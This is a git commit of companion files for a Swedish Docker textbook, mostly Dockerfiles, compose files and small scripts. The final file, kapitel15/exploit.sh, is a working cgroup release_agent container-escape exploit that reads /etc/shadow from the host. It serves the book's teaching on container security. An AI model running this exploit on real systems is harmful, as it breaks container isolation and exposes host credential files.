Initial commit
This commit is contained in:
commit
12a5ea3132
40
README.md
Normal file
40
README.md
Normal file
@ -0,0 +1,40 @@
|
||||
# Docker från grunden
|
||||
Här finner du filer för boken *Docker från grunden* (ISBN: 978-91-983300-6-9).
|
||||
Exempelvis finns här alla `Dockerfile`- och `docker-compose.yml`-filer. Här
|
||||
finns även annan exempelkod som används i boken, så som Bash-skript och
|
||||
HTML-filer.
|
||||
|
||||
Boken går att köpa från [CyberInfo Sverige](https://www.cyberinfo.se/bocker/),
|
||||
[Bokus](https://www.bokus.com/bok/9789198330069/docker-fran-grunden/) och
|
||||
[Adlibris](https://www.adlibris.com/se/bok/docker-fran-grunden-9789198330069).
|
||||
|
||||
Är du nyfiken på boken så titta gärna i [innehållsförteckningen](https://www.cyberinfo.se/dokument/docker-fran-grunden_innehallsforteckning.html).
|
||||
|
||||
## Baksidetexten
|
||||
**Docker från grunden** lär dig allt du behöver för att komma igång med Docker
|
||||
på egen hand. Du lär dig alltifrån vad Docker är, hur du startar och stoppar
|
||||
containrar, hur du paketerar egna program i avbilder, hur du bygger ett eget
|
||||
Docker-register till hur du sätter upp tjänster på datorn med Docker. Du lär
|
||||
dig även att automatisera hela miljöer med Docker Compose.
|
||||
|
||||
Docker har förändrat it-världen på kort tid. Det går nu att bygga kompletta
|
||||
miljöer och fritt flytta dem mellan olika plattformar - något som förut varit
|
||||
tidskrävande och omständligt. Det går dessutom att automatisera så att en hel
|
||||
miljö kan startas och stoppas med ett enda kommando. Även för utvecklaren har
|
||||
saker förändrats och förenklats med Docker. Hon kan nu paketera hela sitt
|
||||
program som en Docker-avbild och dela den med omvärlden på exempelvis Docker
|
||||
Hub, och den går att köra på i princip vilken dator som helst.
|
||||
|
||||
Boken behandlar både traditionella Docker som körs under root-användaren, men
|
||||
även Docker i rootless-mode.
|
||||
|
||||
Boken är praktiskt orienterad med en lång rad exempel och övningar. Det finns
|
||||
även ett par större projekt i boken. Efter varje kapitel finns en rad
|
||||
övningsuppgifter. En del av uppgifterna går utanför vad boken lärt ut för att
|
||||
du ska hitta lösningar på egen hand.
|
||||
|
||||
Ett helt kapitel är dedikerat åt säkerhet. Här ser vi också exempel på attacker
|
||||
mot Docker och hur man kan bryta sig ur en container.
|
||||
|
||||
## Framsida
|
||||

|
BIN
docker-fran-grunden.png
Normal file
BIN
docker-fran-grunden.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 140 KiB |
3
kapitel10/10_1/Dockerfile
Normal file
3
kapitel10/10_1/Dockerfile
Normal file
@ -0,0 +1,3 @@
|
||||
FROM debian:11-slim
|
||||
RUN apt-get update && apt-get -y install cowsay
|
||||
CMD ["/usr/games/cowsay", "Min egna Dockerfile"]
|
9
kapitel10/10_2/Dockerfile
Normal file
9
kapitel10/10_2/Dockerfile
Normal file
@ -0,0 +1,9 @@
|
||||
FROM debian:11-slim
|
||||
RUN apt-get update && apt-get -y install \
|
||||
cowsay \
|
||||
procps \
|
||||
iputils-ping \
|
||||
dnsutils \
|
||||
curl \
|
||||
&& apt-get clean
|
||||
CMD ["/usr/games/cowsay", "Hej alla! Docker fungerar!"]
|
4
kapitel10/10_3_1/Dockerfile
Normal file
4
kapitel10/10_3_1/Dockerfile
Normal file
@ -0,0 +1,4 @@
|
||||
FROM debian:11-slim
|
||||
COPY hej.sh /hej.sh
|
||||
RUN chmod +x /hej.sh
|
||||
CMD /hej.sh
|
5
kapitel10/10_3_1/hej.sh
Normal file
5
kapitel10/10_3_1/hej.sh
Normal file
@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
PATH="/sbin:/bin:/usr/sbin:/usr/bin"
|
||||
echo " _____________ "
|
||||
echo "| Hejsan alla |"
|
||||
echo " ------------- "
|
7
kapitel10/10_3_1_1/alice.Dockerfile
Normal file
7
kapitel10/10_3_1_1/alice.Dockerfile
Normal file
@ -0,0 +1,7 @@
|
||||
FROM debian:11-slim
|
||||
RUN apt-get update && apt-get install -y cowsay \
|
||||
&& apt-get clean
|
||||
COPY cow-say-alice.sh /cow-say-alice.sh
|
||||
RUN chmod +x /cow-say-alice.sh
|
||||
ADD http://jackbenny.se/docs/alice.txt /alice.txt
|
||||
CMD ["/cow-say-alice.sh"]
|
3
kapitel10/10_3_1_1/cow-say-alice.sh
Normal file
3
kapitel10/10_3_1_1/cow-say-alice.sh
Normal file
@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/games"
|
||||
egrep "Down the Rabbit-Hole" /alice.txt -A 7 | cowsay
|
6
kapitel10/10_3_2/cowsay-entry.Dockerfile
Normal file
6
kapitel10/10_3_2/cowsay-entry.Dockerfile
Normal file
@ -0,0 +1,6 @@
|
||||
FROM debian:11-slim
|
||||
RUN apt-get update && apt-get -y install \
|
||||
cowsay \
|
||||
&& apt-get clean
|
||||
CMD ["CMD och ENTRYPOINT arbetar tillsammans"]
|
||||
ENTRYPOINT ["/usr/games/cowsay"]
|
9
kapitel10/10_3_3/alice.Dockerfile
Normal file
9
kapitel10/10_3_3/alice.Dockerfile
Normal file
@ -0,0 +1,9 @@
|
||||
FROM debian:11-slim
|
||||
RUN apt-get update && apt-get install -y cowsay \
|
||||
&& apt-get clean
|
||||
RUN mkdir -p /opt/alice
|
||||
WORKDIR /opt/alice
|
||||
COPY cow-say-alice.sh cow-say-alice.sh
|
||||
RUN chmod +x cow-say-alice.sh
|
||||
ADD http://jackbenny.se/docs/alice.txt alice.txt
|
||||
CMD ["/opt/alice/cow-say-alice.sh"]
|
3
kapitel10/10_3_3/cow-say-alice.sh
Normal file
3
kapitel10/10_3_3/cow-say-alice.sh
Normal file
@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/games"
|
||||
egrep "Down the Rabbit-Hole" alice.txt -A 7 | cowsay
|
11
kapitel10/10_3_4/alice-kalle.Dockerfile
Normal file
11
kapitel10/10_3_4/alice-kalle.Dockerfile
Normal file
@ -0,0 +1,11 @@
|
||||
FROM debian:11-slim
|
||||
RUN apt-get update && apt-get install -y cowsay \
|
||||
&& apt-get clean
|
||||
RUN useradd -m -s /bin/bash --user-group kalle
|
||||
USER kalle
|
||||
WORKDIR /home/kalle
|
||||
COPY --chown=kalle:kalle cow-say-alice.sh cow-say-alice.sh
|
||||
RUN chmod +x cow-say-alice.sh
|
||||
ADD --chown=kalle:kalle http://jackbenny.se/docs/alice.txt \
|
||||
alice.txt
|
||||
CMD ["/home/kalle/cow-say-alice.sh"]
|
5
kapitel10/10_3_5/volym-test.Dockerfile
Normal file
5
kapitel10/10_3_5/volym-test.Dockerfile
Normal file
@ -0,0 +1,5 @@
|
||||
FROM debian:11-slim
|
||||
RUN mkdir /en-volym
|
||||
RUN echo "Hejsan" > /en-volym/minfil.txt
|
||||
VOLUME /en-volym
|
||||
CMD ["/bin/cat", "/en-volym/minfil.txt"]
|
8
kapitel10/10_3_6/webb.Dockerfile
Normal file
8
kapitel10/10_3_6/webb.Dockerfile
Normal file
@ -0,0 +1,8 @@
|
||||
FROM debian:11-slim
|
||||
RUN apt-get update && apt-get install -y apache2 \
|
||||
&& apt-get clean
|
||||
ADD --chown=www-data:www-data \
|
||||
http://jackbenny.se/docs/hej-docker.html \
|
||||
/var/www/html/index.html
|
||||
EXPOSE 80/tcp
|
||||
CMD ["apache2ctl", "-D", "FOREGROUND"]
|
5
kapitel10/10_3_7/Dockerfile
Normal file
5
kapitel10/10_3_7/Dockerfile
Normal file
@ -0,0 +1,5 @@
|
||||
FROM mysql:5.7.30
|
||||
ENV MYSQL_DATABASE=min_wiki \
|
||||
MYSQL_USER=wikiuser \
|
||||
MYSQL_PASSWORD=s3cr3t \
|
||||
MYSQL_ROOT_PASSWORD=supers3cr3t
|
7
kapitel10/10_3_8/Dockerfile
Normal file
7
kapitel10/10_3_8/Dockerfile
Normal file
@ -0,0 +1,7 @@
|
||||
FROM mysql:5.7.30
|
||||
ENV MYSQL_DATABASE=min_wiki \
|
||||
MYSQL_USER=wikiuser \
|
||||
MYSQL_PASSWORD=s3cr3t \
|
||||
MYSQL_ROOT_PASSWORD=supers3cr3t
|
||||
LABEL version="1.0"
|
||||
LABEL author="Kalle"
|
12
kapitel10/10_3_9/Dockerfile
Normal file
12
kapitel10/10_3_9/Dockerfile
Normal file
@ -0,0 +1,12 @@
|
||||
FROM debian:11-slim
|
||||
RUN apt-get update && apt-get install -y apache2 \
|
||||
curl \
|
||||
&& apt-get clean
|
||||
ADD --chown=www-data:www-data \
|
||||
http://jackbenny.se/docs/hej-docker.html \
|
||||
/var/www/html/index.html
|
||||
EXPOSE 80/tcp
|
||||
HEALTHCHECK --interval=30s --timeout=3s \
|
||||
--start-period=30s \
|
||||
CMD curl -f http://localhost || exit 1
|
||||
CMD ["apache2ctl", "-D", "FOREGROUND"]
|
6
kapitel10/10_4/loggar.Dockerfile
Normal file
6
kapitel10/10_4/loggar.Dockerfile
Normal file
@ -0,0 +1,6 @@
|
||||
FROM debian:11-slim
|
||||
RUN useradd -m -s /bin/bash --user-group kalle
|
||||
COPY --chown=kalle:kalle skript.sh /skript.sh
|
||||
RUN chmod +x /skript.sh
|
||||
USER kalle
|
||||
CMD ["/skript.sh"]
|
7
kapitel10/10_4/skript.sh
Normal file
7
kapitel10/10_4/skript.sh
Normal file
@ -0,0 +1,7 @@
|
||||
#!/bin/bash
|
||||
PATH="/bin:/sbin:/usr/local/bin:/usr/local/sbin"
|
||||
while true
|
||||
do
|
||||
echo "Klockan är $(date +'%T')"
|
||||
sleep 7
|
||||
done
|
15
kapitel11/openssl.conf
Normal file
15
kapitel11/openssl.conf
Normal file
@ -0,0 +1,15 @@
|
||||
[req]
|
||||
distinguished_name = req_distinguished_name
|
||||
req_extensions = v3_req
|
||||
prompt = no
|
||||
[req_distinguished_name]
|
||||
C = SE
|
||||
L = Bjuv
|
||||
O = Labb
|
||||
CN = registry.nixnet.jke
|
||||
[v3_req]
|
||||
keyUsage = keyEncipherment, dataEncipherment
|
||||
extendedKeyUsage = serverAuth
|
||||
subjectAltName = @alt_names
|
||||
[alt_names]
|
||||
DNS.1 = registry.nixnet.jke
|
7
kapitel12/Dockerfile
Normal file
7
kapitel12/Dockerfile
Normal file
@ -0,0 +1,7 @@
|
||||
FROM debian:11-slim
|
||||
RUN apt-get update && apt-get -y install openntpd \
|
||||
&& mkdir /var/run/openntpd \
|
||||
&& apt-get clean
|
||||
COPY ./ntpd.conf /etc/ntpd.conf
|
||||
EXPOSE 123/udp
|
||||
ENTRYPOINT ["/usr/sbin/ntpd", "-d", "-f", "/etc/ntpd.conf"]
|
10
kapitel12/ntpd.conf
Normal file
10
kapitel12/ntpd.conf
Normal file
@ -0,0 +1,10 @@
|
||||
listen on *
|
||||
|
||||
server mmo1.ntp.se weight 1
|
||||
server mmo2.ntp.se weight 1
|
||||
server gbg1.ntp.se weight 1
|
||||
server gbg2.ntp.se weight 1
|
||||
server sth1.ntp.se weight 1
|
||||
server sth2.ntp.se weight 1
|
||||
server svl1.ntp.se weight 1
|
||||
server svl2.ntp.se weight 1
|
10
kapitel13/13_2/docker-compose-v2.yml
Normal file
10
kapitel13/13_2/docker-compose-v2.yml
Normal file
@ -0,0 +1,10 @@
|
||||
version: "3.8"
|
||||
services:
|
||||
|
||||
webbserver:
|
||||
restart: always
|
||||
image: httpd:2.4
|
||||
ports:
|
||||
- 5050:80
|
||||
volumes:
|
||||
- ${PWD}/min-hemsida:/usr/local/apache2/htdocs
|
8
kapitel13/13_2/docker-compose.yml
Normal file
8
kapitel13/13_2/docker-compose.yml
Normal file
@ -0,0 +1,8 @@
|
||||
version: "3.8"
|
||||
services:
|
||||
|
||||
webbserver:
|
||||
restart: always
|
||||
image: httpd:2.4
|
||||
ports:
|
||||
- 5050:80
|
12
kapitel13/13_2/index.html
Normal file
12
kapitel13/13_2/index.html
Normal file
@ -0,0 +1,12 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="Content-Type"
|
||||
content="text/html; charset=utf-8">
|
||||
</head>
|
||||
<body>
|
||||
<h1>Apache i en Docker-container</h1>
|
||||
<p>Min första hemsida som körs från en Docker-container!</p>
|
||||
</body>
|
||||
</html>
|
24
kapitel13/13_3/docker-compose.yml
Normal file
24
kapitel13/13_3/docker-compose.yml
Normal file
@ -0,0 +1,24 @@
|
||||
version: "3.8"
|
||||
services:
|
||||
|
||||
databas:
|
||||
image: mysql:5.7.30
|
||||
restart: always
|
||||
environment:
|
||||
- MYSQL_DATABASE=min_wiki
|
||||
- MYSQL_USER=wikiuser
|
||||
- MYSQL_PASSWORD=s3cr3t
|
||||
- MYSQL_ROOT_PASSWORD=supers3cr3t
|
||||
volumes:
|
||||
- ${PWD}/databas:/var/lib/mysql
|
||||
|
||||
wiki:
|
||||
image: mediawiki:1.34.1
|
||||
restart: always
|
||||
depends_on:
|
||||
- databas
|
||||
volumes:
|
||||
- ${PWD}/LocalSettings.php:/var/www/html/LocalSettings.php
|
||||
- ${PWD}/images:/var/www/html/images
|
||||
ports:
|
||||
- 80:80
|
3
kapitel13/13_6/Dockerfile
Normal file
3
kapitel13/13_6/Dockerfile
Normal file
@ -0,0 +1,3 @@
|
||||
FROM httpd:2.4
|
||||
RUN echo "Min anpassade webbserver" > \
|
||||
/usr/local/apache2/htdocs/index.html
|
8
kapitel13/13_6/docker-compose.yml
Normal file
8
kapitel13/13_6/docker-compose.yml
Normal file
@ -0,0 +1,8 @@
|
||||
version: "3.8"
|
||||
services:
|
||||
|
||||
webbserver:
|
||||
restart: always
|
||||
build: .
|
||||
ports:
|
||||
- 6060:80
|
4
kapitel15/Dockerfile
Normal file
4
kapitel15/Dockerfile
Normal file
@ -0,0 +1,4 @@
|
||||
FROM debian:11-slim
|
||||
RUN useradd -m -s /bin/bash --user-group kalle
|
||||
USER kalle
|
||||
WORKDIR /home/kalle
|
16
kapitel15/exploit.sh
Normal file
16
kapitel15/exploit.sh
Normal file
@ -0,0 +1,16 @@
|
||||
#!/bin/bash
|
||||
# This is a re-write of Felix Wilhelms exploit from 2019.
|
||||
# The original Tweet (and code) can be found at:
|
||||
# https://twitter.com/_fel1x/status/1151487051986087936
|
||||
rdma=/sys/fs/cgroup/rdma
|
||||
mkdir -p $rdma/w
|
||||
echo 1 >$rdma/w/notify_on_release
|
||||
upperdir=`sed -rn 's/.*upperdir=([^,]*).*/\1/p' /etc/mtab`
|
||||
echo $upperdir/cmd > $rdma/release_agent
|
||||
echo '#!/bin/sh' > /cmd;
|
||||
echo "head -n 1 /etc/shadow > $upperdir/utdata" >> /cmd
|
||||
echo "ps >> $upperdir/utdata" >> /cmd
|
||||
chmod +x /cmd
|
||||
/bin/bash -c "echo 0 > $rdma/w/cgroup.procs"
|
||||
sleep 3
|
||||
cat /utdata
|
Loading…
x
Reference in New Issue
Block a user